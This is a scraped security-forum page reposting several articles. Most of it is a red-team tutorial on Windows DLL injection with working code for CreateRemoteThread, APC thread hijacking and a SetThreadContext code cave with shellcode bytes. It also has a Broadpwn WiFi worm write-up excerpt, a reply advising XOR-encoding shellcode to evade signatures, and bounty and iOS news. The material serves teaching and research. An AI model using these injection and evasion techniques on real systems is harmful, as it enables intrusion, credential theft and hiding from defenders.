of the requested AP, and start impersonating as that AP by sending out a Probe Response to the STA. In the next stage, wlc_recv should receive an Authentication Open Sequence packet, and our hook function should send a response. This will be followed by an Association Request from the STA. The next packet we will send is the Association Response containing the WMM IE which triggers for the bug. Here, we’ll make use of the fact that we can crash the targeted chip several times without alerting the user, and start sending crafted packets adapted to exploit a specific firmware build. This will be repeated until we have brute forced the correct set of addresses. Alternatively, the second approach, which relies on spraying the ring buffer and placing the fake timer object and the payload at a deterministic location, can also be used. Running an Alfa wireless adapter on monitor mode for about an hour in a crowded urban area, we’ve sniffed hundreds of SSID names in Probe Request packets. Of these, approximately 70% were using a Broadcom WiFi chip [e]. Even assuming moderate infection rates, the impact of a Broadpwn worm running for several days is potentially huge. Old school hackers often miss the “good old days” of the early 2000s, when remotely exploitable bugs were abundant, no mitigations were in place to stop them, and worms and malware ran rampant. But with new research opening previously unknown attack surface such as the BCM WiFi chip, those times may just be making a comeback. References [a] While KASLR is still largely unsupported on Android devices, the large variety of kernels out there effectively means that an attacker can make very few assumptions about an Android kernel’s address space. Another problem is that any misstep during an exploit will cause a kernel panic, crashing the device and drawing the attention of the victim. The BCM43xx family has been the subject of extensive security research in the past. Notable research includes Wardriving from Your Pocket (https://recon.cx/2013/slides/Recon2013-Omri%20Ildis%2C%20Yuval%20Ofir%20and%20Ruby%20Feinstein-Wardriving%20from%20your%20pocket.pdf) by Omri Ildis, Yuval Ofir and Ruby Feinstein; One Firmware to Monitor ’em All (http://archive.hack.lu/2012/Hacklu-2012-one-firmware-Andres-Blanco-Matias-Eissler.pdf) by Andres Blanco and Matias Eissler; and the Nexmon project by SEEMOO Lab (https://github.com/seemoo-lab/nexmon). These projects aimed mostly to implement monitor mode on Nexus phones by modifying the BCM firmware, and their insights greatly assisted the author with the current research. More recently, Gal Beniamini of Project Zero has published the first security-focused report about the BCM43xx family (https://googleprojectzero.blogspot.ca/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html), and has discovered several bugs in the BCM firmware. This function does not exist in the source code that we managed to obtain, so the naming is arbitrary. [d] Gal Beniamini’s second blog post about BCM deals extensively with this issue (https://googleprojectzero.blogspot.co.il/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html). And while a kernel read primitive is not demonstrated in that post, the nature of the MSGBUF protocol seems to make it possible. [e] This is an estimate, and was determined by looking up the OUI part of the sniffed device’s MAC address. Sursa: https://blog.exodusintel.com/2017/07/26/broadpwn/
-
- 1
-
-
Announcing the Windows Bounty Program MSRC Team July 26, 2017 Windows 10 represents the best and newest in our strong commitment to security with world-class mitigations. One of Microsoft’s longstanding strategies toward improving software security involves investing in defensive technologies that make it difficult and costly for attackers to find, exploit and leverage vulnerabilities. We built in mitigations and defenses such as DEP, ASLR, CFG, CIG, ACG, Device Guard, and Credential Guard to harden our systems and we continue adding defenses such as Windows Defender Application Guard to significantly increase protection to harden entry points while ensuring the customer experience is seamless. In the spirit of maintaining a high security bar in Windows, we’re launching the Windows Bounty Program on July 26, 2017. This will include all features of the Windows Insider Preview in addition to focus areas in Hyper-V, Mitigation bypass, Windows Defender Application Guard, and Microsoft Edge. We’re also bumping up the pay-out range for the Hyper-V Bounty Program. Since 2012, we have launched multiple bounties for various Windows features. Security is always changing and we prioritize different types of vulnerabilities at different points in time. Microsoft strongly believes in the value of the bug bounties, and we trust that it serves to enhance our security capabilities. The overall program highlights: Any critical or important class remote code execution, elevation of privilege, or design flaws that compromises a customer’s privacy and security will receive a bounty The bounty program is sustained and will continue indefinitely at Microsoft’s discretion Bounty payouts will range from $500 USD to $250,000 USD If a researcher reports a qualifying vulnerability already found internally by Microsoft, a payment will be made to the first finder at a maximum of 10% of the highest amount they could’ve received (example: $1,500 for a RCE in Edge, $25,000 for RCE in Hyper-V) All security bugs are important to us and we request you report all security bugs to secure@microsoft.com via Coordinated Vulnerability Disclosure (CVD) policy For the latest information on new Windows features included in the Insider Previews, please visit the Windows 10 Insider Program Blog The details of the targets and the focus area can be found in the table below: Category Targets Windows Version Payout range (USD) Focus area Microsoft Hyper-V Windows 10 Windows Server 2012 Windows Server 2012 R2 Windows Server Insider Preview $5,000 to $250,000 Focus area Mitigation bypass and Bounty for defense Windows 10 $500 to $200,000 Focus area Windows Defender Application Guard WIP slow $500 to $30,000 Focus area Microsoft Edge WIP slow $500 to $15,000 Base Windows Insider Preview WIP slow $500 to $15,000 As always, the most up-to-date information about the Microsoft Bounty Programs can be found at https://aka.ms/BugBounty and in the associated terms and FAQs. Akila Srinivasan, Joe Bialek, and Matt Miller from Microsoft Security Response Center David Weston, Jason Silves from Windows and Devices Group Enterprise and Security Arthur Wongtschowski, Mary Lee, Ron Aquino, and Riley Pittman from Windows and Devices Group Information Security Sursa: https://blogs.technet.microsoft.com/msrc/2017/07/26/announcing-the-windows-bounty-program/
-
DLL Execution via Excel.Application RegisterXLL() method
Nytro replied to Nytro's topic in Exploituri
Da, de preferat macar un XOR pe shellcode, sa nu fie detectabil pe semnaturi statice. -
iOS Vulnerability Exposes iPhone Users’ Passwords and Credit Cards The security bug was discovered in the iCloud Keychain Jul 25, 2017 09:34 GMT · By Bogdan Popa · Apple has silently patched a security vulnerability in iOS 10.3 that would have allowed hackers to access information in the iCloud Keychain, including users’ passwords and credit cards. Security firm Longterm Security provides an in-depth look at the security bug, explaining that the vulnerability was discovered in the iCloud Keychain Sync's custom Off-The-Record (OTR) system. iCloud Keychan is a feature that allows Apple users to have their private information synced across multiple devices, including but not limited to passwords and credit cards. Longterm Security co-founder Alex Radocea explained that Apple’s system uses key verifications to transfer data from one device to another securely, but using a man-in-the-middle attack, hackers could have been able to bypass the process and intercept traffic sent by configured devices. Data available to hackers in plain text This means that data stored in the iCloud Keychain would have become available in plain text, without users even being aware of it, as no devices were being added and no notifications were sent. This means that passwords or credit cards were totally exposed to hackers should they wanted to steal them. While the flaw itself has already been patched by Apple in the latest iOS update, the security researcher warns that passwords need proper security, especially because this has become “critical in the real world.” “There are opportunistic attackers and criminals looking to leverage and monetize leaked password dumps in any way they can think up. They represent an immediate and constant threat to iCloud as well as any other cloud service. Passwords alone would be fairly risky when storing a trove of user data including credit card numbers,” he posted. Apple users are strongly recommended to update their devices as soon as possible, with iOS 10.3 currently available via Settings > General > Software Update on iPhones and iPads. It’s believed all the other iOS versions are vulnerable to attacks and are exposing users’ data, so updating is critical to keep data secure. Sursa: http://news.softpedia.com/news/ios-vulnerability-exposes-iphone-users-passwords-and-credit-cards-517156.shtml
-
- 2
-
-
Inject All the Things JUL 16TH, 2017 7:49 PM Well, its 2017 and I’m writing about DLL injection. It could be worse. DLL injection is a technique used by legitimate software to add/extend functionality to other programs, debugging, or reverse engineering. It is also commonly used by malware in a multitude of ways. This means that from a security perspective, it’s imperative to know how DLL injection works. I wrote most of the code of this small project, called ‘injectAllTheThings’, a while ago when I started developing custom tools for Red Team engagements (in order to emulate different types of threat actors). If you want to see some examples of threat actors using DLL injection have a look here. You may also find this project useful if you want to learn about DLL injection. The internet is full of crap when you look for this kind of information/code, and my code might not be better. I’m not a programmer, I just hack code when I need to. Anyway, I’ve put together in a single Visual Studio project multiple DLL injection techniques (actually 7 different techniques) that work both for 32 and 64 bits, in a very easy way to read and understand. Some friends showed interested in the code, so it might interest you too. Every technique has its own source file to keep things simple. Below is the output of the tool, showing all the options and techniques implemented. According to @SubTee, DLL injection is lame. I tend to agree, however DLL injection goes way beyond simply loading a DLL. You can load DLLs with signed Microsoft binaries indeed, but you won’t attach to a certain process to mess with its memory. The reason why most of the Penetration Testers don’t actually know what DLL injection is, or how it works, is because Metasploit has spoiled them too much. They use it all the time, blindly. The best place to learn about this ‘weird’ memory manipulation stuff is actually game hacking forums, I believe. If you are into Red Teaming you might have to get ‘dirty’ and play with this stuff too. Unless you are happy to just run some random tools other people have written. Most of times we start a Red Team exercise using highly sophisticated techniques, and if we stay undetected we start lowering the level of sophistication. That’s basically when we start dropping binaries on disk and playing with DLL injection. This post attempts to give an overview of DLL injection in a very simple and high level way, and at the same time serves as “documentation” support for the project hosted at GitHub. Introduction DLL injection is basically the process of inserting/injecting code into a running process. The code we inject is in the form of a dynamic linked library (DLL). Why? DLLs are meant to be loaded as needed at run time (like shared libs in UNIX). In this project I’ll be using DLLs only, however we actually can ‘inject’ code in many other forms (any PE file, shellcode/assembly, etc. as commonly seen in malware). Also, keep in mind that you need to have an appropriate level of privileges to start playing with other processes’s memory. However, I won’t be talking about protected processes and Windows privilege levels (introduced with Vista). That’s a completely different subject. Again, as I said above DLL injection can be used for legitimate purposes. For example, antivirus and endpoint security solutions use these techniques to place their own software code/hooks into “all” running processes on the system. This enables them to monitor each process while it’s running, and better protect us. There are also malicious purposes. A common technique often used was injecting into the ‘lsass’ process to obtain password hashes. We all have done that. Period. Obviously, malware also uses code injection techniques extensively. Either to run shellcode, run PE files, or load DLLs into the memory of another process to hide itself, among others. The Basics We’ll be using the MS Windows API for every technique, since it offers a considerable number of functions that allow us to attach and manipulate other processes. DLLs have been the cornerstone of MS Windows since the first version of the operating system. In fact, all the functions in the MS Windows API are contained DLLs. Some of the most important are ‘Kernel32.dll’ (which contains functions for managing memory, processes, and threads), ‘User32.dll’ (mostly user-interface functions), and ‘GDI32.dll’ (functions for drawing graphics and text display). You might be wondering why such APIs exist, why would Microsoft give us such a nice set of functions to play and mess with other processes memory? The main reason is to extend the features of an application. For example, a company creates an application and wants to allow other companies to extend or enhance the application. So yes, it has a legitimate usage purpose. Besides, DLLs are useful for project management, conserve memory, resource sharing, and so on. The diagram below tries to illustrate the process flow of almost every DLL injection technique. As you can see above, I would say DLL injection happens in four steps: 1 2 3 4 Attach to the target/remote process Allocate memory within the target/remote process Copy the DLL Path, or the DLL, into the target/remote process memory Instruct the process to execute the DLL All these steps are accomplished by calling a certain set of API functions. Each technique will require a certain setup and options to be set. I would say that each technique has their positives and negatives. Techniques We have multiple options to instruct a process to execute our DLL. The most common ones are maybe ‘CreateRemoteThread()’ and ‘NtCreateThreadEx()’. However, it’s not possible to just pass a DLL as parameter to these functions. We have to provide a memory address that holds the execution starting point. For that, we need to perform memory allocation, load our DLL with ‘LoadLibrary()’, copy memory, and so on. The project I called ‘injectAllTheThings’ (because I just hate the name ‘injector’, plus there are already too many crappy ‘injectors’ on GitHub, and I couldn’t think of anything else), includes 7 different techniques. I’m not the original author of any of the techniques. I just compiled, and cleaned, these seven techniques (yes, there are more). Some are well documented (like ‘CreateRemoteThread()’), others use undocumented APIs (like ‘NtCreateThreadEx()’). Here’s a complete list of the techniques implemented, all working for both 32 and 64 bits. CreateRemoteThread() NtCreateThreadEx() QueueUserAPC SetWindowsHookEx() RtlCreateUserThread() Code cave via SetThreadContext() Reflective DLL You might know some of these techniques by other names. This isn’t a complete list of every DLL injection technique around. As I said, there are more, I might add them later if I have to play with them for a certain project. Until now this the list of techniques I used in some projects. Some are stable, some aren’t. Maybe the unstable ones are because of my own code, you have been warned. LoadLibrary() As stated on MSDN, the ‘LoadLibrary()’ function “loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded”. 1 2 3 HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName ); 1 2 3 4 5 6 7 8 9 10 11 lpFileName [in] The name of the module. This can be either a library module (a .dll file) or an executable module (an .exe file). (...) If the string specifies a full path, the function searches only that path for the module. If the string specifies a relative path or a module name without a path, the function uses a standard search strategy to find the module (...) If the function cannot find the module, the function fails. When specifying a path, be sure to use backslashes (\), not forward slashes (/). (...) If the string specifies a module name without a path and the file name extension is omitted, the function appends the default library extension .dll to the module name. (...) In other words, it takes a filename as its only parameter and everything works. That is, we only need to allocate some memory for the path of our DLL and set our execution starting point to the address of ‘LoadLibrary()’ function, passing the memory address of the path as a parameter. As you may, or may not know, the big issue here is that ‘LoadLibrary()’ registers the loaded DLL with the program. Meaning it can be easily detected, but you might be surprised that many endpoint security solutions still fail at this. Anyway, as I said before, DLL injection has legitimate usage cases too, so… Also, note that if a DLL has already been loaded with ‘LoadLibrary()’, it will not be executed again. You might work around this, but I didn’t do it for any of the techniques. With the Reflective DLL injection you don’t have this problem of course, because the DLL is not registered. The Reflective DLL injection technique instead of using ‘LoadLibrary()’, loads the entire DLL into memory. Then determines the offset to the DLL’s entry point to load it. Call it more stealthy if you want. Forensics guys will still be able to find your DLL in memory, but it won’t be that easy. Metasploit uses this massively, still most of endpoint solutions are happy with all this anyway. If you feel like hunting for this kind of stuff, or you are in the ‘blue’ side of the game, have a look here and here. As a side note, if you are really struggling with your endpoint security software being fine with all this… you might want to try to use some gaming anti-cheating engine instead (note, I’m only trying to be funny in case you didn’t get it). The anti-rootkit capabilities of some anti-cheating games is way more advanced than some AVs. There’s a really cool interview with Nick Cano, author of the “Game Hacking” book, on reddit that you must read. Just check what he has been doing and you’ll understand what I’m talking about. Attach to the target/remote process For a start, we need a handle to the process we want to interact with. For this we use the ‘OpenProcess()’ API call. 1 2 3 4 5 HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId ); If you read the documentation on MSDN you’ll see that we need to request a certain set of access rights. A complete list of access rights can be found here. These might vary across MS Windows versions. The following is used across almost every technique. 1 2 3 4 5 6 HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId); Allocate memory within the target/remote process In order to allocate memory for the DLL path we use ‘VirtualAllocEx()’. As stated in MSDN, ‘VirtualAllocEx()’ “reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.” 1 2 3 4 5 6 7 LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); Basically, we’ll do something like this: 1 2 3 4 5 // calculate the number of bytes needed for the DLL's pathname DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t); // allocate space in the target/remote process for the pathname LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); Or you could be a bit smarter and use the ‘GetFullPathName()’ API call. However, I don’t use this API call on the whole project. Just a matter of preference, or not being smart. If you want to allocate space for the full DLL, you’ll have to do something like: 1 2 3 4 5 hFile = CreateFileW(pszLibFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); dwSize, = GetFileSize(hFile, NULL); PVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); Copy the DLL Path, or the DLL, into the target/remote process' memory Now it’s just a matter of copying our DLL Path, or the full DLL, into the target/remote process by using the ‘WriteProcessMemory()’ API call. 1 2 3 4 5 6 7 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten ); That is something like… 1 DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); If we want to copy the full DLL, like in the Reflective DLL injection technique, there’s a bit more code, as we need to read it into memory before we copy it into the target/remote process. 1 2 3 4 5 lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL); WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); As I mentioned before, by using the Reflective DLL injection technique, and copying the DLL into memory, the DLL won’t be registered with the process. It gets a bit complex because we need to obtain the entry point to the DLL when it is loaded in memory. The ‘LoadRemoteLibraryR()’ function, which is part of the Reflective DLL project, does it for us. Have a look at the source if you want. One thing to notice is that the DLL we’ll be injecting needs to be compiled with the appropriate includes and options so it aligns itself with the ReflectiveDLLInjection method. The ‘injectAllTheThings’ project includes a DLL called ‘rdll_32.dll/rdll_64.dll’ that you can use to play with. Instruct the process to execute the DLL CreateRemoteThread() We can say that ‘CreateRemoteThread()’ is the classic and most popular DLL Injection technique around. Also, the most well documented one. It consists of the steps below: 1 2 3 4 5 Open the target process with OpenProcess() Find the address of LoadLibrary() by using GetProcAddress() Reserve memory for the DLL path in the target/remote process address space by using VirtualAllocEx() Write the DLL path into the previously reserved memory space with WriteProcessMemory() Use CreateRemoteThread() to create a new thread, which will call the LoadLibrary() function with the DLL path name as parameter If you look at ‘CreateRemoteThread()’ documentation on MSDN, we can see that we need a “pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process.” Which means that to execute our DLL we only need to instruct our process to do it. Simple. See below all the basic steps listed above. 1 2 3 4 5 6 7 8 9 10 11 12 13 HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId); // Allocate space in the remote process for the pathname LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); // Copy the DLL's pathname to the remote process address space DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); // Get the real address of LoadLibraryW in Kernel32.dll PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); // Create a remote thread that calls LoadLibraryW(DLLPathname) HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); For the complete source code see ’t_CreateRemoteThread.cpp'. NtCreateThreadEx() Another option is to use ‘NtCreateThreadEx()’. This is an undocumented ‘ntdll.dll’ function and it might disappear or change in the future. This technique is a bit more complex to implement as we need a structure (see below) to pass to it and another to receive data from it. 1 2 3 4 5 6 7 8 9 10 11 struct NtCreateThreadExBuffer { ULONG Size; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; }; There’s a good explanation about this call here. The setup is very close to what we do for ‘CreateRemoteThread()’. However, instead of calling ‘CreateRemoteThread()’ we do something along the lines. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx"); LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr; NTSTATUS status = funNtCreateThreadEx( &hRemoteThread, 0x1FFFFF, NULL, hProcess, pfnThreadRtn, (LPVOID)pszLibFileRemote, FALSE, NULL, NULL, NULL, NULL ); For the complete source code see ’t_NtCreateThreadEx.cpp'. QueueUserAPC() An alternative to the previous techniques, that doesn’t create a new thread in the target/remote process, is the ‘QueueUserAPC()’ call. As documented on MSDN, this call “adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.” Here’s the definition. 1 2 3 4 5 DWORD WINAPI QueueUserAPC( _In_ PAPCFUNC pfnAPC, _In_ HANDLE hThread, _In_ ULONG_PTR dwData ); 1 2 3 4 5 6 7 8 9 pfnAPC [in] A pointer to the application-supplied APC function to be called when the specified thread performs an alertable wait operation. (...) hThread [in] A handle to the thread. The handle must have the THREAD_SET_CONTEXT access right. (...) dwData [in] A single value that is passed to the APC function pointed to by the pfnAPC parameter. So, if we don’t want to create our own thread, we can use ‘QueueUserAPC()’ to “hijack” an existing thread in the target/remote process. That is, calling this function will queue an asynchronous procedure call on the specified thread. We can use a real APC callback function instead of ‘LoadLibrary()’. The parameter can actually be a pointer to the filename of the DLL we want to inject. 1 DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote); There’s a little gotcha that you might notice if you try this technique, which is related to the way MS Windows executes APC’s. There’s no scheduler looking at the APC queue, meaning the queue is only examined when the thread becomes alertable. Because of this we basically hijack every single thread, see below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 BOOL bResult = Thread32First(hSnapshot, &threadEntry); while (bResult) { bResult = Thread32Next(hSnapshot, &threadEntry); if (bResult) { if (threadEntry.th32OwnerProcessID == dwProcessId) { threadId = threadEntry.th32ThreadID; wprintf(TEXT("[+] Using thread: %i\n"), threadId); HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId); if (hThread == NULL) wprintf(TEXT("[-] Error: Can't open thread. Continuing to try other threads...\n")); else { DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote); if (!dwResult) wprintf(TEXT("[-] Error: Couldn't call QueueUserAPC on thread> Continuing to try othrt threads...\n")); else wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n")); CloseHandle(hThread); } } } } We basically do this expecting one thread to become alertable. As a side note, it was nice to see this technique being used by DOUBLEPULSAR. For the complete source code see ’t_QueueUserAPC.cpp'. SetWindowsHookEx() In order to use this technique the first thing we need to understand is how MS Windows hooks work. Basically, hooks are a way to intercept events and act on them. As you may guess, there are many different types of hooks. The most common ones might be WH_KEYBOARD and WH_MOUSE. You guessed right, these can be used to monitor, the keyboard and mouse input. The ‘SetWindowsHookEx()’ “installs an application-defined hook procedure into a hook chain.” 1 2 3 4 5 6 HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 idHook [in] Type: int The type of hook procedure to be installed. (...) lpfn [in] Type: HOOKPROC A pointer to the hook procedure. (...) hMod [in] Type: HINSTANCE A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. (...) dwThreadId [in] Type: DWORD The identifier of the thread with which the hook procedure is to be associated. (...) An interesting remark on MSDN states that: “SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process. If an application requires the use of hooks in other processes, it is required that a 32-bit application call SetWindowsHookEx to inject a 32-bit DLL into 32-bit processes, and a 64-bit application call SetWindowsHookEx to inject a 64-bit DLL into 64-bit processes. The 32-bit and 64-bit DLLs must have different names.” Keep this in mind. Here’s a simple extract of the implementation. 1 2 3 GetWindowThreadProcessId(targetWnd, &dwProcessId); HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID); We need to understand that every event that occurs will go through a hook chain, which is a series of procedures that will run on the event. The setup of ‘SetWindowsHookExe()’ is basically how we put our own hook procedure into the hook chain. The code above takes the type of hook to be installed (WH_KEYBOARD), the pointer to the procedure, the handle to the DLL with the procedure, and the thread id to associate the hook to. In order to get the pointer to the procedure we need to first load the DLL using the ‘LoadLibrary()’ call. Then we call ‘SetWindowsHookEx()’ and wait for the event that we want (in our case pressing a key). Once that event happens our DLL is executed. Note that even the CIA guys are, potentially, having some fun with ‘SetWindowsHookEx()’ as we can see on Wikileaks. For the complete source code see ’t_SetWindowsHookEx.cpp'. RtlCreateUserThread() The ‘RtlCreateUserThread()’ is an undocumented API call. Its setup is, almost, the same as ‘CreateRemoteThread()’, and subsequently as ‘NtCreateThreadEx()’. Actually, ‘RtlCreateUserThread()’ calls ‘NtCreateThreadEx()’, which means ‘RtlCreateUserThread()’ is a small wrapper for ‘NtCreateThreadEx()’. So, nothing new here. However, we might want to just use ‘RtlCreateUserThread()’ instead of ‘NtCreateThreadEx()’. Even if the later changes, our ‘RtlCreateUserThread()’ should still work. As you might know, among others, mimikatz and Metasploit both use ‘RtlCreateUserThread()’. If you are curious, have a look here and here. So, if mimikatz and Metasploit are using ‘RtlCreateUserThread()’… and yes, those guys know their stuff… follow their “advice”, use ‘RtlCreateUserThread()’. Especially if you are planning to do something more serious than a simple ‘injectAllTheThings’ program. For the complete source code see ’t_RtlCreateUserThread.cpp'. SetThreadContext() This is actually a very cool method. A specially crafted code is injected into the target/remote process by allocating a chunk of memory in the target/remote process. This code is responsible for loading the DLL. Here’s the code for 32 bits. 1 2 3 4 5 6 7 8 9 0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (placeholder for return address) 0x9c, // pushfd (save flags and registers) 0x60, // pushad 0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (placeholder for DLL path name) 0xb8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xDEADBEEF (placeholder for LoadLibrary) 0xff, 0xd0, // call eax (call LoadLibrary) 0x61, // popad (restore flags and registers) 0x9d, // popfd 0xc3 // ret For 64 bits I couldn’t actually find any assembly working code and I kinda wrote my own. See below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 0x50, // push rax (save rax) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for return address) 0x9c, // pushfq 0x51, // push rcx 0x52, // push rdx 0x53, // push rbx 0x55, // push rbp 0x56, // push rsi 0x57, // push rdi 0x41, 0x50, // push r8 0x41, 0x51, // push r9 0x41, 0x52, // push r10 0x41, 0x53, // push r11 0x41, 0x54, // push r12 0x41, 0x55, // push r13 0x41, 0x56, // push r14 0x41, 0x57, // push r15 0x68,0xef,0xbe,0xad,0xde, // fastcall convention 0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (placeholder for DLL path name) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for LoadLibrary) 0xFF, 0xD0, // call rax (call LoadLibrary) 0x58, // pop dummy 0x41, 0x5F, // pop r15 0x41, 0x5E, // pop r14 0x41, 0x5D, // pop r13 0x41, 0x5C, // pop r12 0x41, 0x5B, // pop r11 0x41, 0x5A, // pop r10 0x41, 0x59, // pop r9 0x41, 0x58, // pop r8 0x5F, // pop rdi 0x5E, // pop rsi 0x5D, // pop rbp 0x5B, // pop rbx 0x5A, // pop rdx 0x59, // pop rcx 0x9D, // popfq 0x58, // pop rax 0xC3 // ret Before we inject this code into the target process some placeholders need to be filled/patched with: Return address (address where the thread should resume once the code stub has finished execution) The DLL path name Address of LoadLibrary() And that’s when the game of hijacking, suspending, injecting, and resuming a thread comes into play. We need first to attach to the target/remote process, of course, and allocate memory into the target/remote process. Note that we need to allocate memory with read and write privileges to hold the DLL path name and to hold our assembly code that will load the DLL. 1 2 3 LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Next, we need to get the context of one of the threads running on the target/remote process (the one that is going to be injected with our assembly code). To find the thread, we use the function ‘getThreadID()’, you can find it on the file ‘auxiliary.cpp’. Once we have our thread id, we need to set the thread context. 1 hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID); Next, we need to suspend the thread to capture its context. The context of a thread is the state of its registers. We are particularly interested in EIP/RIP (call it IP - instruction pointer, if you want). Since the thread is suspended, we can change the EIP/RIP value and force it to continue its execution in a different path (our code cave). 1 2 3 4 5 6 7 8 9 10 11 ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); DWORD64 oldIP = ctx.Rip; ctx.Rip = (DWORD64)stub; ctx.ContextFlags = CONTEXT_CONTROL; WriteProcessMemory(hProcess, (void *)stub, &sc, stubLen, NULL); // write code cave SetThreadContext(hThread, &ctx); ResumeThread(hThread); So, we suspend the thread, we capture the context, and from there we extract the EIP/RIP. This is saved to resume the execution when our injected code finishes. The new EIP/RIP is set as our injected code location. We then patch all the placeholders with the return address, the DLL path name address, and the ‘LoadLibrary()’ address. Once the thread starts executing, our DLL will be loaded and once it finishes it will return back to the point it was suspended at and resume its execution there. If you feel like debugging this technique as a learning exercise, here’s how to do it. Launch the application you want to inject into, let’s say ‘notepad.exe’. Run ‘injectAllTheThings_64.exe’ with ‘x64dbg’ as shown below. That is, using the following command line (adapt to your environment): 1 "C:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\injectAllTheThings_64.exe" -t 6 notepad.exe "c:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\dllmain_64.dll" Set a breakpoint on the call to ‘WriteProcessMemory()’ as shown below. Let it run and when the breakpoint is hit take note of the memory address at the register RDX. If you are asking yourself why RDX is time to read about the calling convention used in x64. Have fun and come back once you finish. Step over (F8) the call to ‘WriteProcessMemory()’, launch another instance of x64dbg and attach to ‘notepad.exe’. Go to the address copied before (the one at RDX) by pressing ‘Ctrl + g’ and you will see our code cave assembly as shown below. Cool, huh!? Now set a breakpoint at the beginning of this shellcode. Go to the ‘injectAllTheThings’ debugged process and let it run. As you can see below our breakpoint is hit and we can now step over the code for fun and enjoy this piece of code working. Once we call the ‘LoadLibrary()’ function, we get our DLL loaded. This is so beautiful… Our shellcode will return to the previously saved RIP and ‘notepad.exe’ will resume execution. For the complete source code see ’t_suspendInjectResume.cpp'. Reflective DLL injection I also incorporated Stephen Fewer’s (pioneer of this technique) code into this ‘injectAllTheThings’ project, and I also built a 